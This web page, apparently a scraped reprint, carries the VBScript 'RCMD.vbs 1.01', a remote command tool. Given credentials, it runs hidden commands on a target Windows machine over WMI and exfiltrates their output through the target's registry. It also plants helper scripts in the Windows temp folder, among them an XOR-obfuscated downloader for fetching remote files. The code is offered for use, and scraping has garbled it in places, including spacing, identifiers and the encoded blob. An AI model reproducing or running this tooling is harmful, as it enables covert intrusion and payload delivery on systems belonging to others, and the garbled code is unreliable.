RCMD. vbs 1.01 revised version added the download function

Source: Internet
Author: User

The usage of this down. vbs is shown here
Http://www.jb51.net/article/15506.htm

Code:Copy codeThe Code is as follows: on error resume next
Set outstreem = wscript. stdout
If (lcase (right (wscript. fullname, 11) = "wscript.exe") then
Wscript. Quit
End if

If wscript. Arguments. Count <4 then
Wscript. Echo "not enough parameters ."
Usage ()
Wscript. Quit
End if

IP = wscript. Arguments (0)
Username = wscript. Arguments (1)
Password = wscript. Arguments (2)
Required STR = wscript. Arguments (3)
Echostr = wscript. Arguments (4)
'Downstr = wscript. Arguments (5)
Foldername = "C: \ Windows \ temp \\"

Wsh. Echo "conneting" & IP &"...."
Set objlocator = Createobject ("wbemscripting. swbemlocator ")
Set objswbemservices = objlocator. connectserver (IP, "root/cimv2", username, password)
Showerror (ERR. Number)
Set win_process = objswbemservices. Get ("win32_processstartup ")
Set hide_windows = win_process.spawninstance _
Hide_windows.showwindow = 12
Set RCMD = objswbemservices. Get ("win32_process ")
Set colfiles = objswbemservices. execquery _
("Select * From cim_datafile where name = 'C: \ windows \ temp \ read. vbs '")
If colfiles. Count = 0 then
Wsh. Echo "not found read. vbs! Create now! "
Create_read ()

End if

If echostr = "0" then
MSG = RCMD. Create ("CMD/C" & Other STR, null, hide_windows, intprocessid)
End if
If echostr = "1" then
MSG = RCMD. Create ("CMD/C cscript % WINDIR % \ Temp \ read. vbs" & Other STR & ", null, hide_windows, intprocessid)
End if

If echostr = "3" then
Create_down ()
End if

If MSG = 0 then
Wsh. Echo "command success ..."
Else
Showerror (ERR. Number)
End if

Wsh. Echo "Please wait 3 second ...."
Wsh. Sleep (3000)
Set stdout = wscript. stdout
Set oreg = objlocator. connectserver (IP, "root/Default", username, password). Get ("stdregprov ")
Oreg. getmultistringvalue & h80000002, "SOFTWARE \ clients", "cmd", arrvalues
Wsh. Echo string (79 ,"*")
Wsh. Echo shortstr & CHR (13) & CHR (10)

For each strvalue in arrvalues
Stdout. writeline strvalue
Next
Oreg. deletevalue & h80000002, "SOFTWARE \ clients", "cmd"

Sub create_read ()
Runyn = RCMD. Create ("CMD/C echo set Ws = wscript. Createobject (^" "wscript. Shell ^" ")> % WINDIR % \ Temp \ read. vbs "_
& "& Echo STR = ws. exec (^ "" CMD/C ^ "" ^ & wscript. arguments (0 )). stdout. readall: Set Ws = nothing> % WINDIR % \ Temp \ read. vbs "_
& "& Echo set oreg = GetObject (^" "winmgmts: {impersonationlevel = impersonate }! \. \ Root \ default: stdregprov ^ "")> % WINDIR % \ Temp \ read. vbs "_
& "& Echo oreg. setmultistringvalue ^ & h80000002, ^ "" SOFTWARE \ clients ^ "", ^ "" cmd ^ "", array (STR)> % WINDIR % \ Temp \ read. vbs ", null, hide_windows, intprocessid)
If runyn = 0 then
Wsh. Echo "read. vbs created !!! "
Else
Showerror (ERR. Number)
End if

End sub

Sub create_down ()
Rundw = RCMD. create ("CMD/C echo function decode (S, N): NS = Split (mid (S, 2, Len (S)-1 )): for I = 0 to ubound (NS): On Error resume next: Decode = decode ^ & CHR (CINT (NS (I) XOR N): Next: end function> % WINDIR % \ Temp \ down. vbs "_
& "& Echo execute (decode (^" "26 9 18 31 8 21 19 18 92 15 29 10 25 58 21 16 25 84 26 21 16 25 18 29 17 25 80 15 8 14 85 113 118 113 118 92 92 92 92 92 15 25 8 92 29 24 24 19 24 30 47 8 14 25 29 17 92 65 92 63 14 25 29 8 25 51 30 22 25 31 8 84 94 61 56 51 56 62 94 92 90 92 94 82 94 92 90 92 94 47 8 14 25 29 17 94 85 113 118 113 92 92 92 92 29 24 19 24 30 47 8 14 25 29 17 82 40 5 12 25 65 92 77 113 118 92 92 92 92 29 24 19 24 30 47 8 14 25 29 17 82 51 12 25 18 113 118 92 92 92 92 92 29 24 19 24 30 47 8 14 25 29 17 82 11 14 21 8 25 92 15 14 113 118 92 92 92 29 24 19 24 30 47 8 14 25 29 17 82 47 29 10 25 40 19 58 21 16 25 92 26 21 16 25 18 29 17 25 80 78 113 118 92 92 92 92 29 24 19 24 30 47 8 14 25 29 17 82 63 16 19 15 25 113 118 113 118 25 18 24 92 26 9 18 31 8 21 19 113 118 113 118 91 83 42 62-13695-10347 -10282-20072-19531-18814-17020-10566-18291-13631 113 118 58 9 18 31 8 21 19 18 92 49 9 16 8 21 62 5 8 25 40 19 62 21 18 29 14 5 84 49 9 16 8 21 62 5 8 25 85 113 118 113 118 92 92 92 92 92 56 21 17 92 46 47 80 92 48 49 9 16 8 21 62 5 8 25 80 92 62 21 18 29 14 5 113 118 92 92 92 92 63 19 18 15 8 92 29 24 19 18 42 29 14 62 21 18 29 14 5 92 65 92 78 76 73 113 118 92 92 92 92 47 25 8 92 46 47 92 65 92 63 14 25 29 8 25 51 30 22 31 8 84 94 61 56 51 62 82 46 25 31 19 14 24 15 8 94 85 113 118 92 92 92 92 48 49 9 16 8 21 62 5 8 25 92 65 92 48 25 18 62 84 9 16 8 21 62 5 8 25 85 113 118 92 92 92 92 53 26 92 48 49 9 16 8 21 62 5 8 25 66 76 92 40 20 25 18 113 118 92 92 92 92 92 92 92 92 92 92 92 92 46 47 82 58 21 25 16 24 15 82 61 12 12 12 25 24 24 92 94 17 62 21 18 29 14 5 94 80 92 29 24 48 19 18 27 42 29 14 62 21 18 29 14 5 80 92 48 49 9 16 8 21 62 5 8 25 113 118 92 92 92 92 92 92 92 92 92 92 92 92 92 92 92 46 47 82 51 12 25 18 113 118 92 92 92 92 92 92 92 92 92 92 92 92 92 92 46 47 47 61 24 24 50 25 11 113 118 92 92 92 92 92 92 92 92 92 92 92 92 46 47 84 94 17 62 21 18 29 14 5 94 85 85 61 12 12 12 25 18 24 63 20 9 18 23 92 9 9 16 8 21 62 5 8 25 92 90 92 63 20 14 62 84 76 85 113 118 92 92 92 92 92 92 92 92 92 92 92 92 92 92 46 47 82 41 12 24 29 8 25 113 92 92 92 92 92 92 92 92 92 92 92 92 92 92 62 21 18 29 14 5 92 65 92 46 47 84 94 17 62 21 18 29 14 5 94 85 82 59 25 8 63 20 9 18 23 84 48 49 9 16 8 21 62 5 8 25 85 113 118 92 92 92 92 57 18 24 92 53 26 113 118 92 92 92 92 92 49 9 16 8 21 62 5 8 25 40 19 62 21 18 29 14 5 92 65 92 62 21 18 29 14 5 113 118 113 118 57 18 24 92 58 9 18 31 8 21 19 18 113 118 113 118 113 118 26 9 18 31 8 21 19 18 92 25 4 25 31 84 85 113 118 92 92 92 113 118 92 92 92 92 92 92 91 83 83-14659-20046-19311-12657 113 118 92 92 92 92 92 19 18 92 25 14 14 19 14 92 14 25 15 9 17 25 92 50 25 4 8 113 118 92 92 92 92 47 25 8 92 29 14 27 15 92 65 92 43 47 31 14 21 12 8 82 61 14 27 9 17 18 8 15 113 118 21 26 92 29 14 27 15 82 63 19 9 18 8 92 65 92 76 92 8 20 25 18 113 118 92 92 92 92 43 47 31 14 21 12 8 82 57 31 20 19 92 94 41 15 29 25 70 92 63 47 31 14 21 12 8 92 24 19 11 18 82 10 30 15 92 9 14 16 92 31 70 32 77 82 25 25 25 94 113 118 92 92 92 43 47 31 14 21 12 8 82 45 9 21 8 92 77 113 118 92 92 92 92 92 25 18 24 92 53 26 113 118 92 92 92 92 92 92 24 21 17 92 24 29 8 29 80 8 80 23 80 26 21 16 25 18 29 17 25 15 15 113 118 92 92 92 92 92 47 25 8 92 49 29 21 16 77 92 65 92 63 14 25 29 8 25 51 30 22 25 31 8 84 94 63 56 51 82 49 25 15 29 25 25 94 85 113 118 92 92 92 92 49 29 21 16 77 82 63 14 25 29 8 25 49 52 40 49 48 62 19 24 5 92 29 14 27 15 82 53 8 25 17 84 76 85 92 80 79 77 92 113 118 91 49 29 21 16 77 82 63 14 25 29 8 25 49 40 49 48 62 19 24 5 92 94 31 70 32 4 4 32 16 31 4 82 25 25 25 81 12 26 82 20 8 17 94 80 79 77 113 118 92 92 92 92 15 15 65 92 49 29 21 16 77 82 52 40 49 48 62 19 24 5 113 118 92 92 92 92 47 25 8 92 29 29 21 16 77 65 18 19 8 20 21 18 27 92 113 118 113 118 92 92 113 118 113 118 19009 92 92 92 92 92 91 83 83-19007-13695-16735 113 118 92 92 92 92 92 92 24 29 8 29 92 92 92 92 92 92 92 92 92 92 92 92 92 92 65 92 15 15 113 118 92 92 92 92 92 91 83-19009-19007-12616-17278-15481 113 118 92 92 92 92 92 26 21 16 25 18 17 25 92 92 92 92 65 92 29 29 14 27 15 82 53 8 25 17 84 77 85 113 118 113 92 92 92 92 91 83-19009-19007-13695-16735-19496-18764 113 118 92 92 92 92 92 92 9 92 65 92 16 25 18 84 24 29 8 29 85 113 118 92 92 92 92 113 118 92 92 92 92 92 92 91 83-17523-19009-12616-17278-13695 10347 113 118 92 92 92 92 26 19 14 92 21 65 77 92 8 19 92 9 92 15 8 25 12 92 78 113 118 92 92 92 92 92 92 92 92 92 92 92 92 8 92 65 92 17 21 24 84 24 29 8 29 80 21 80 78 85 113 118 92 92 92 92 92 92 92 92 92 92 92 92 92 92 23 23 92 92 23 23 92 90 92 63 20 14 62 84 31 16 18 27 84 94 90 52 94 92 90 92 8 85 85 113 118 92 92 92 92 92 18 25 4 8 113 118 113 118 92 92 92 92 91 83 83-10282-20072 -19531-18814-17020-10566-18291-13631 113 118 92 92 92 92 24 24 29 8 29 61 14 5 92 65 92 92 49 9 16 8 21 62 5 8 25 40 19 62 21 18 29 14 5 23 23 85 113 118 92 92 92 92 113 118 92 92 92 92 92 92 92 91 83 83-20001-19302-12616 92 92 92 92 92 92 113 118 92 92 92 92 92 15 29 10 25 58 21 16 25 92 26 21 16 25 18 29 17 25 24 29 8 29 61 14 14 5 113 118 113 92 92 92 113 118 92 92 92 92 25 18 24 92 26 9 18 31 8 21 19 18 113 118 113 118 25 4 25 31 84 85 113 118 92 113 118 113 ^ "", 124)> % WINDIR % \ Temp \ down. vbs ", null, hide_windows, intprocessid)

If rundw = 0 then
Wsh. Echo "down. vbs created !!! "
Else
Showerror (ERR. Number)
End if

End sub

Function showerror (errornumber)
If errornumber then
Wsh. Echo "error 0x" & CSTR (hex (ERR. Number ))&"."
If err. Description <> "" then
Wsh. Echo "error Description:" & err. Description &"."
End if
Wscript. Quit
Else
Outstreem. Write "."
End if
End Function

Sub usage ()
Wsh. Echo string (79 ,"*")
Wsh. Echo "RCMD v1.01 by netpatch modiy by LCX"
Wsh. Echo "Usage :"
Wsh. Echo "cscript" & wscript. scriptfullname & "targetip Username Password" "command" "1 // on Echo"
Wsh. Echo "cscript" & wscript. scriptfullname & "targetip Username Password" "command" "0 // off echo create"
Wsh. Echo "cscript" & wscript. scriptfullname & "targetip Username Password" 3 // create CDO. Message. Down. vbs"
Wsh. Echo string (79, "*") & vbcrlf
End sub

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.